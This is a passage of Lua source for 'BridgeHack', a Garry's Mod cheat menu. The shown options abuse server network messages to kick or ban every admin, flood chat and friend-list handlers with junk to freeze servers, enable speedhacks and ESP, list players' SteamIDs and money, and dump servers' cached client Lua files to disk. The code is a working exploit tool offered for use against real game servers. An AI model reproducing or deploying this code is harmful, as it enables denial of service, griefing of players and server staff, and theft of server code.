1788 if( v:GetUserGroup() != "user" ) then
1789 if( v:GetUserGroup() != "vip" ) then
1790 for i=0, 700 do
1791 net.Start('plyWarning')
1792 net.WriteEntity(v)
1793 net.WriteString('You have to select a player before doing a action.')
1794 net.SendToServer()
1795 end
1796 consoleP('Attempting to kick '.. v:Nick().. "!")
1797 end
1798 end
1799 end
1800 end)
1801 end):SetImage("icon16/wand.png")
1802
1803 exploitshacks:AddOption("ULX EXTENDED BAN ADMINS",function()
1804 chatP("Banning...")
1805 timer.Create(BridgeHack.RandomVar.."ulxextendedban",1,0,function()
1806 for k,v in pairs(player.GetAll()) do
1807 if v:GetUserGroup() != "user" then -- Custom first ranks, youre fucked bro
1808 if v != LocalPlayer() then
1809 status("Banning.. "..v:Nick())
1810 net.Start("banleaver")
1811 net.WriteString(v:SteamID().."{sep}".."HaxRUs Rekt You")
1812 net.SendToServer()
1813 end
1814 end
1815 end
1816 end)
1817 end):SetImage("icon16/wand.png")
1818
1819 exploitshacks:AddOption( " [ON] ATLAS CHAT: FREEZE EVERYBODY",function()
1820 chatP("Freezing everybody.. (Except you)")
1821 timer.Create("Imakelovetou"..BridgeHack.RandomVar,"3",0, function()
1822 local trash = "";
1823 for i=0, 15000 do
1824 trash = trash .. string.char(math.random(32, 126));
1825 end
1826
1827 status("Freeze wave incoming")
1828 timer.Simple(1,function()
1829 status("Freeze wave done")
1830 end)
1831
1832 for i=0,3 do
1833 net.Start("atlaschat.chat")
1834 net.WriteString("// ".. trash)
1835 net.SendToServer()
1836 end
1837 end)
1838 end):SetImage( "icon16/lock.png" )
1839
1840 exploitshacks:AddOption( " [OFF] ATLAS CHAT: FREEZE EVERYBODY",function()
1841 chatP("Stopping the freeze..")
1842 timer.Destroy("Imakelovetou"..BridgeHack.RandomVar,"3",0, function()
1843
1844 end)
1845 end):SetImage( "icon16/lock_open.png" )
1846
1847 exploitshacks:AddOption( "[ON] ESSENTIALS ULX SPAM FRIENDS TABLE", function()
1848 timer.Create("spamdafukFRIENDSULX", 2, 0, function()
1849 local friends = {}
1850 table.insert( friends, math.random(1,9999) )
1851 for i = 1,6000 do
1852 net.Start("friendlist")
1853 net.WriteTable(friends)
1854 net.SendToServer()
1855 end
1856 status("PROGRESS [10000/10000]")
1857 end)
1858 end ):SetImage( "icon16/script_error.png" )
1859
1860 exploitshacks:AddOption( "[OFF] ESSENTIALS ULX SPAM FRIENDS TABLE", function()
1861 timer.Destroy("spamdafukFRIENDSULX")
1862 status("Stopped ULX SPAM FRIENDS")
1863 end):SetImage( "icon16/script.png" )
1864
1865 exploitshacks:AddOption( "Ulx Extended TTT Weapon Spawn", function()
1866 GiveMenu()
1867 end):SetImage( "icon16/book_key.png" )
1868
1869 exploitshacks:AddOption( " [ON] MX RADIO KICK ADMINS",function()
1870 chatP("Kicking admins, Including anyone who isnt a user")
1871 ply:ConCommand("bh_mx_kickadmins")
1872 timer.Create( "Kickthenoobs"..BridgeHack.RandomVar, 3, 0, function()
1873 for k,v in ipairs(player.GetAll()) do
1874 if( v:GetUserGroup() != "user" ) then
1875 if v:Nick() != (ply:Nick()) then
1876 for i=0, 700 do
1877 net.Start( "GetCar" )
1878 net.WriteEntity(v)
1879 net.WriteEntity(v)
1880 net.SendToServer()
1881 end
1882 chatP('Attempting to kick '.. v:Nick())
1883 end
1884 end
1885 end
1886 end)
1887 end):SetImage( "icon16/wand.png" )
1888
1889 exploitshacks:AddOption( " [OFF] MX RADIO KICK ADMINS",function()
1890 chatP("Stopping the kicks")
1891 timer.Destroy( "Kickthenoobs"..BridgeHack.RandomVar, 3, 0, function() end)
1892 end):SetImage( "icon16/wand.png" )
1893
1894 local Misc = menu:AddSubMenu(" Misc ")
1895
1896 Misc:AddOption( "Hackable Server List",function()
1897 ply:ConCommand("bh_serverlist")
1898 end):SetImage( "icon16/book.png" )
1899
1900 Misc:AddOption( "Changelog",function()
1901 ChangeLogMenu()
1902 end):SetImage( "icon16/book.png" )
1903
1904 Misc:AddOption( "List Rank - Playername - Money",function()
1905 chatP( "Check Console\n" )
1906 consoleP("(NAME)-(STEAMID)-(CASH)\n\n\n")
1907 for k,v in pairs(player.GetAll()) do
1908 local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0
1909 if v:IsAdmin() then
1910 consoleP("(ADMIN!) - (" .. v:Nick() .. ") - (" .. v:SteamID() .. ") - ($" .. playermoney .. ")")
1911 else
1912 consoleP("(USER) - (" .. v:Nick() .. ") - (" .. v:SteamID() .. ") - ($" .. playermoney .. ")")
1913 end
1914 end
1915 end):SetImage( "icon16/text_align_center.png" )
1916
1917 Misc:AddOption( "Check exploits", function()
1918 ply:ConCommand("bh_check")
1919end ):SetImage( "icon16/book_addresses.png" )
1920
1921 Misc:AddOption( "Spirit Walk", function()
1922 ply:ConCommand("bh_sw_toggle")
1923 chatP("You're now spirit walking..")
1924end ):SetImage( "icon16/book_addresses.png" )
1925
1926 Misc:AddOption( "Get Spirit Pos", function()
1927 ply:ConCommand("bh_sw_pos")
1928 chatP("Check console for pos coordinates..")
1929end ):SetImage( "icon16/book_addresses.png" )
1930
1931 Misc:AddOption("FullBright",function()
1932 ply:ConCommand("bh_fullbright")
1933 chatP("You must force cheats to 1 before using this..")
1934end):SetImage( "icon16/book_addresses.png" )
1935
1936 Misc:AddOption( "BHOP", function()
1937 ply:ConCommand("bh_bhop")
1938 chatP("You're now bhoping..")
1939end ):SetImage( "icon16/book_addresses.png" )
1940
1941 Misc:AddOption( "ClientSide Lua Viewer",function()
1942 chatP("Opening clientside lua viewer...")
1943 ply:ConCommand("bh_lua")
1944 end):SetImage( "icon16/application_osx_terminal.png" )
1945
1946 if ply:SteamID() == "STEAM_0:1:45153092" or ply:SteamID() == "STEAM_0:1:61639885" then
1947 local DebugMenu = menu:AddSubMenu(" Debug Settings")
1948 DebugMenu:AddOption(" Reset Default Config.", function()
1949 Debug("Resetting Cheat Variables...")
1950 ResetCvar("bh_menu_effects", 1)
1951 ResetCvar("bh_firstload_correct", 0)
1952 ResetCvar("bh_chat_status",0)
1953 ResetCvar("bh_cheats_enabled_on_start", 0)
1954 ResetCvar("bh_cheats_svlua_enabled_on_start", 0)
1955 ResetCvar("bh_showhud", 1)
1956 ResetCvar("bh_notify", 1)
1957 end)
1958
1959 DebugMenu:AddOption(" Debug",function()
1960 for k,v in pairs(player.GetAll()) do
1961 chatP(LocalPlayer():GetPos():Distance(v:GetPos()) .. " | ".. v:Nick())
1962 end
1963 end)
1964 end
1965
1966 menu:AddSpacer()
1967
1968 menu:AddOption( "Config Menu", function()
1969 local DermaPanel = vgui.Create( "DFrame" )
1970 DermaPanel:SetPos( 100, 100 )
1971 DermaPanel:SetSize( 300, 400 )
1972 DermaPanel:SetTitle( " " )
1973 DermaPanel:SetVisible( true )
1974 DermaPanel:SetDraggable( true )
1975 DermaPanel:ShowCloseButton( false )
1976 function DermaPanel:Paint( w, h )
1977 draw.RoundedBox( 4, 0, 0, w, h, Color( 10, 10, 10, 220) )
1978 draw.RoundedBoxEx( 4, 0, 0, w, 22, Color( 240, 85, 0, 220), true, true, false, false )
1979 draw.SimpleText( "BridgeHack Configuration Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
1980 end
1981
1982 local Button = vgui.Create("DButton", DermaPanel)
1983 Button:SetPos( 250, 2 )
1984 Button:SetSize( 45, 19 )
1985 Button:SetText( "" )
1986 Button:SetTextColor( Color( 255, 255, 255) )
1987 function Button:Paint( w, h )
1988 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
1989 draw.SimpleText( "Close", "HeaderFont", 2, -2, Color( 255,255,255 ), 0, 0 )
1990 end
1991 Button.DoClick = function()
1992 DermaPanel:Close()
1993 end
1994
1995 DermaPanel:MakePopup()
1996
1997 local ESPMixer = vgui.Create( "DColorMixer", DermaPanel )
1998 ESPMixer:SetPos( 10,170)
1999 ESPMixer:SetSize(100,100)--Make Mixer fill place of Frame
2000 ESPMixer:SetPalette( false ) --Show/hide the paletteDEF:true
2001 ESPMixer:SetAlphaBar( true ) --Show/hide the alpha barDEF:true
2002 ESPMixer:SetWangs( false ) --Show/hide the R G B A indicators DEF:true
2003 ESPMixer:SetColor( Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b")) )--Set the default color
2004 daespvector = ESPMixer:GetColor()
2005
2006 local ESPMixButton = vgui.Create( "DButton",DermaPanel )
2007 ESPMixButton:SetPos( 5, 265 )
2008 ESPMixButton:SetText( "Set ESP Color" )
2009 ESPMixButton:SetSize( 120, 15 )
2010 ESPMixButton.DoClick = function()
2011 print(daespvector)
2012 ply:ConCommand("bh_esp_infocolor_r "..daespr)
2013 ply:ConCommand("bh_esp_infocolor_g "..daespg)
2014 ply:ConCommand("bh_esp_infocolor_b "..daespb)
2015 end
2016
2017 local EspBoxes = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
2018 EspBoxes:SetPos( 10, 25 )// Set the position
2019 EspBoxes:SetValue( GetConVarNumber("bh_esp_box") )// Initial value ( will determine whether the box is ticked too )
2020 EspBoxes:SetText("ESP Boxes")
2021 EspBoxes:SetConVar( "bh_esp_box" )
2022 EspBoxes:SizeToContents()
2023
2024 local ShowHP = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
2025 ShowHP:SetPos( 10, 45 )// Set the position
2026 ShowHP:SetValue( GetConVarNumber("bh_esp_hp") )// Initial value ( will determine whether the box is ticked too )
2027 ShowHP:SetText("Show HP On ESP")
2028 ShowHP:SetConVar( "bh_esp_hp" )
2029 ShowHP:SizeToContents()
2030
2031 local ShowRank = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
2032 ShowRank:SetPos( 10, 65 )// Set the position
2033 ShowRank:SetValue( GetConVarNumber("bh_esp_rank") )// Initial value ( will determine whether the box is ticked too )
2034 ShowRank:SetText("Show Rank On ESP")
2035 ShowRank:SetConVar( "bh_esp_rank" )
2036 ShowRank:SizeToContents()
2037
2038 local Rdistance = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
2039 Rdistance:SetPos( 10, 85 )// Set the position
2040 Rdistance:SetValue( GetConVarNumber("bh_renderdistance_enable") )// Initial value ( will determine whether the box is ticked too )
2041 Rdistance:SetText("Use a Maximum render distance")
2042 Rdistance:SetConVar( "bh_renderdistance_enable" )
2043 Rdistance:SizeToContents()
2044
2045 local Rdistance = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
2046 Rdistance:SetPos( 10, 105 )// Set the position
2047 Rdistance:SetValue( GetConVarNumber("bh_notify") )// Initial value ( will determine whether the box is ticked too )
2048 Rdistance:SetText("Top Scrolling Message")
2049 Rdistance:SetConVar( "bh_notify" )
2050 Rdistance:SizeToContents()
2051
2052 local PlaySound = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
2053 PlaySound:SetPos( 10, 125 )// Set the position
2054 PlaySound:SetValue( GetConVarNumber("bh_playsound") )// Initial value ( will determine whether the box is ticked too )
2055 PlaySound:SetText("Menu sounds")
2056 PlaySound:SetConVar( "bh_playsound" )
2057 PlaySound:SizeToContents()
2058
2059 local RenderDistance = vgui.Create( "DNumSlider", DermaPanel )
2060 RenderDistance:SetPos( 25, 145) // Set the position
2061 RenderDistance:SetSize( 280, 25 ) // Set the size
2062 RenderDistance:SetText( "Max Render Distance" ) // Set the text above the slider
2063 RenderDistance:SetMin( 0 ) // Set the minimum number you can slide to
2064 RenderDistance:SetMax( 5000 )// Set the maximum number you can slide to
2065 RenderDistance:SetDecimals( 1 ) // Decimal places - zero for whole number
2066 RenderDistance:SetConVar( "bh_esp_rdistance" ) // Changes the ConVar when you slide
2067 end ):SetImage( "icon16/wrench.png" )
2068
2069 menu:Open()
2070 end)
2071
2072 concommand.Add("-bh_menu", function( ply )
2073 status("Menu Closed.")
2074 if GetConVarNumber("bh_menu_effects") == 1 then
2075 hook.Add( "RenderScreenspaceEffects", "BlurBG", blur_off )
2076 end
2077 local menu = DermaMenu()
2078 end)
2079
2080 function ESP_on( )
2081 ply:ConCommand("bh_esp 1")
2082 end
2083
2084 function ESP_off( )
2085 ply:ConCommand("bh_esp 0")
2086 end
2087
2088 function speedhack_on( )
2089 ply:ConCommand("host_framerate 8;host_framerate 8")
2090 status("Enabled SpeedHack")
2091 end
2092
2093 function speedhack_off( )
2094 ply:ConCommand("host_framerate 0;host_framerate 0")
2095 status("Disabled SpeedHack")
2096 end
2097
2098 -- CL LUAVIEWER */ require("stringtables") local escapejs = { ["\\"] = "\\\\", ["\0"] = "\\0" , ["\b"] = "\\b" , ["\t"] = "\\t" , ["\n"] = "\\n" , ["\v"] = "\\v" , ["\f"] = "\\f" , ["\r"] = "\\r" , ["\""] = "\\\"", ["\'"] = "\\\'" } function string.JavascriptSafe( str ) str = str:gsub( ".", escapejs ) str = str:gsub( "\226\128\168", "\\\226\128\168" ) str = str:gsub( "\226\128\169", "\\\226\128\169" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open("cache/lua/" .. crc .. ".lua", "rb", "MOD") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not path:match("%.txt$") then path = path..".txt" end local curdir = "" for t in path:gmatch("[^/\\*]+") do curdir = curdir..t if curdir:match("%.txt$") then print("writing: ", curdir) file.Write(curdir, contents) else curdir = curdir.."/" print("Creating: ", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = "" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end
2099
2100/*
2101[[----------------------------------------------------------------]]
2102[[----------------------------------------------------------------]]
2103 ____ ___ __ __
2104/\ _`\ /\_ \ __ /\ \__ __ /\ \
2105\ \ \/\_\//\ \ /\_\ __ ___\ \ ,_\ ____/\_\ \_\ \ __
2106 \ \ \/_/_\ \ \ \/\ \ /'__`\/' _ `\ \ \/ /',__\/\ \ /'_` \ /'__`\
2107 \ \ \ \ \\_\ \_\ \ \/\ __//\ \/\ \ \ \_/\__, `\ \ \/\ \ \ \/\ __/
2108 \ \____//\____\\ \_\ \____\ \_\ \_\ \__\/\____/\ \_\ \___,_\ \____\
2109 \/___/ \/____/ \/_/\/____/\/_/\/_/\/__/\/___/ \/_/\/__,_ /\/____/
2110/\ \ __
2111\ \ \ __ __ __ __ __ /\_\ __ __ __ __ __ _ __
2112 \ \ \ __/\ \/\ \ /'__`\ /\ \/\ \\/\ \ /'__`\/\ \/\ \/\ \ /'__`\/\`'__\
2113 \ \ \L\ \ \ \_\ \/\ \L\.\_ \ \ \_/ |\ \ \/\ __/\ \ \_/ \_/ \/\ __/\ \ \/
2114 \ \____/\ \____/\ \__/.\_\ \ \___/ \ \_\ \____\\ \___x___/'\ \____\\ \_\
2115 \/___/ \/___/ \/__/\/_/ \/__/ \/_/\/____/ \/__//__/ \/____/ \/_/
2116
2117[[----------------------------------------------------------------]]
2118[[----------------------------------------------------------------]] */ require("stringtables") local escapejs = { ["\\"] = "\\\\", ["\0"] = "\\0" , ["\b"] = "\\b" , ["\t"] = "\\t" , ["\n"] = "\\n" , ["\v"] = "\\v" , ["\f"] = "\\f" , ["\r"] = "\\r" , ["\""] = "\\\"", ["\'"] = "\\\'" } function string.JavascriptSafe( str ) str = str:gsub( ".", escapejs ) str = str:gsub( "\226\128\168", "\\\226\128\168" ) str = str:gsub( "\226\128\169", "\\\226\128\169" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open("cache/lua/" .. crc .. ".lua", "rb", "MOD") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not path:match("%.txt$") then path = path..".txt" end local curdir = "" for t in path:gmatch("[^/\\*]+") do curdir = curdir..t if curdir:match("%.txt$") then print("writing: ", curdir) file.Write(curdir, contents) else curdir = curdir.."/" print("Creating: ", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = "" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end
2119
2120local VIEWER = {}
2121
2122function VIEWER:Init()
2123 self:SetTitle("BridgeHack Clientside Lua Viewer")
2124 self:SetSize(1200, 550)
2125 self:Center() self:ShowCloseButton( false ) self.Paint = function(s,w,h)
2126 surface.SetDrawColor(Color(108,153,192))
2127 surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(141,200,251) ) surface.DrawRect( 1,1, w-2,h-2 ) surface.SetDrawColor(Color(141,200,251)) surface.DrawRect( 2,2, w-4,h-4 ) surface.SetDrawColor(Color(108,153,192)) surface.DrawRect( 7.5,27.5, w-14,h-34) surface.SetTextColor(0,0,0) surface.SetFont("HeaderFont")
2128 surface.SetTextPos( (self:GetWide()/2) - (tostring( string.len( self.lblTitle:GetText() )) / 2*7.5), 2) self.lblTitle:SetColor(Color(0,0,0,0)) surface.DrawText( self.lblTitle:GetText() ) end self.close = vgui.Create( "DButton", self ) self.close:SetSize( 43,20 ) self.close:SetPos( self:GetWide()-7.5-self.close:GetWide(), -1 ) self.close:SetText("") self.close.Paint = function(s,w,h) surface.SetDrawColor( Color(199,80,80) ) surface.DrawRect( 0,0, w,h ) surface.SetTextColor(255,255,255) surface.SetFont("HeaderFont") surface.SetTextPos(18,-2) surface.DrawText( "x" ) end self.close.DoClick = function(s,w,h) self:Close() end self.tree = vgui.Create("DTree", self) self.tree:SetPos(8.5,28.5) self.tree:SetSize(self:GetWide()/2-200, self:GetTall()-36) self.tree.Directories = {} self.html = vgui.Create("DHTML", self) self.html:SetPos(self:GetWide()/2-200+8.5, 28.5) self.html:SetSize(self:GetWide()/2+200-16, self:GetTall()-36) self.html:OpenURL("https://metastruct.github.io/lua_editor/") client_lua_files = stringtable.Get "client_lua_files" local tree_data= {} for i, v in ipairs(GetLuaFiles(client_lua_files)) do if i == 1 then continue end local file_name = string.match(v.Path, ".*/([^/]+%.lua)") local dir_path = string.sub(v.Path, 1, -1 - file_name:len()) local file_crc = v.CRC local cur_dir = tree_data for dir in string.gmatch(dir_path, "([^/]+)/") do if not cur_dir[dir] then cur_dir[dir] = {} end cur_dir = cur_dir[dir] end cur_dir[file_name] = {fileN = file_name, CRC = file_crc} end local file_queue = {} local function iterate(data, node, path) path = path or "" for k, v in SortedPairs(data) do if type(v) == "table" and not v.CRC then local new_node = node:AddNode(k) new_node.DoRightClick = function() local dmenu = DermaMenu(new_node) dmenu:SetPos(gui.MouseX(), gui.MouseY()) dmenu:AddOption("Save Folder", function() dumbFolderCache = "cluaview/"..GetHostName()..dumbFolder(new_node) DrawFancyPopup("The folder ".. dumbFolder(new_node) .." has been saved as data/cluaview/".. GetHostName() .."/folders/".. dumbFolder(new_node) .."!") end) dmenu:Open() end iterate(v, new_node, path .. k .. "/") else table.insert(file_queue, {node = node, fileN = v.fileN, path = path .. v.fileN, CRC = v.CRC}) end end end iterate(tree_data, self.tree) for k, v in ipairs(file_queue) do local node = v.node:AddNode(v.fileN, "icon16/page_green.png") node.DoClick = function() self.html:QueueJavascript("SetContent('"..string.JavascriptSafe(GetLuaFileContents(v.CRC)).."')") end local hostname = GetHostName() hostname = hostname:gsub("|", "-") hostname = hostname:gsub("~", "-") hostname = hostname:gsub(" ", "") node.DoRightClick = function(self,node) local nodemenu = DermaMenu(node) nodemenu:AddOption("Save File", function() dumbFile("cluaview/".. string.lower(hostname) .."/"..v.fileN, GetLuaFileContents(v.CRC)) DrawFancyPopup("The file ".. v.fileN .." has been saved as data/cluaview/".. string.lower(hostname) .."/".. v.fileN .."!") end) nodemenu:Open() end node.CRC = v.CRC node.pathh = v.path
2129 end
2130 end
2131derma.DefineControl("dcluaviewer", "Clientside Lua Viewer", VIEWER, "DFrame")
2132
2133/*
2134[[----------------------------------------------------------------]]
2135[[----------------------------------------------------------------]]
2136 ____
2137/\ _`\
2138\ \ \L\_\ __ ___ ___ __ __
2139 \ \ _\/'__`\ /' _ `\ /'___\/\ \/\ \
2140 \ \ \/\ \L\.\_/\ \/\ \/\ \__/\ \ \_\ \
2141 \ \_\ \__/.\_\ \_\ \_\ \____\\/`____ \
2142 \/_/\/__/\/_/\/_/\/_/\/____/ `/___/> \
2143 /\___/
2144 \/__/
2145 ____
2146/\ _`\
2147\ \ \L\ \___ _____ __ __ _____
2148 \ \ ,__/ __`\/\ '__`\/\ \/\ \/\ '__`\
2149 \ \ \/\ \L\ \ \ \L\ \ \ \_\ \ \ \L\ \
2150 \ \_\ \____/\ \ ,__/\ \____/\ \ ,__/
2151 \/_/\/___/ \ \ \/ \/___/ \ \ \/
2152 \ \_\ \ \_\
2153 \/_/ \/_/
2154[[----------------------------------------------------------------]]
2155[[----------------------------------------------------------------]]
2156*/
2157
2158function DrawFancyPopup(message)
2159 fancyPopup = vgui.Create("DFrame")
2160 fancyPopup:SetSize(ScrW(), ScrH()) fancyPopup:SetPos(0, 0) fancyPopup:SetVisible( true ) fancyPopup:SetTitle("") fancyPopup:MakePopup() fancyPopup:ShowCloseButton( true ) fancyPopup.Paint = function(s,w,h) surface.SetDrawColor( Color(0,0,0,200) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0, w/2-fancyPopup:GetTall()/1.520, ScrW(), ScrH()/6.5 ) surface.SetTextColor(255,255,255) surface.SetFont("PopupFont") surface.SetTextPos(w/4.10, h/2.30) surface.DrawText( message ) end fancyPopupButton = vgui.Create("DButton", fancyPopup) fancyPopupButton:SetSize(110,32.5) fancyPopupButton:SetPos(fancyPopup:GetWide()/2+fancyPopup:GetWide()/10, fancyPopup:GetTall()/2.050) fancyPopupButton:SetText("") fancyPopupButton.Paint = function(s,w,h) surface.SetDrawColor( Color(255,255,255) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0+3,0+3, w-6,h-6 ) surface.SetTextColor(255,255,255) surface.SetFont("PopupFont") surface.SetTextPos(30.5,5.5) surface.DrawText( "Alright!" ) end fancyPopupButton.DoClick = function(s,w,h) fancyPopup:Close() end
2161end
2162
2163concommand.Add("testpopup", function() DrawFancyPopup("This is just a test button and nothing else you nutmpies. Pressing Alright does no shit at all!") end) concommand.Add("bh_lua", function() vgui.Create("dcluaviewer"):MakePopup() end)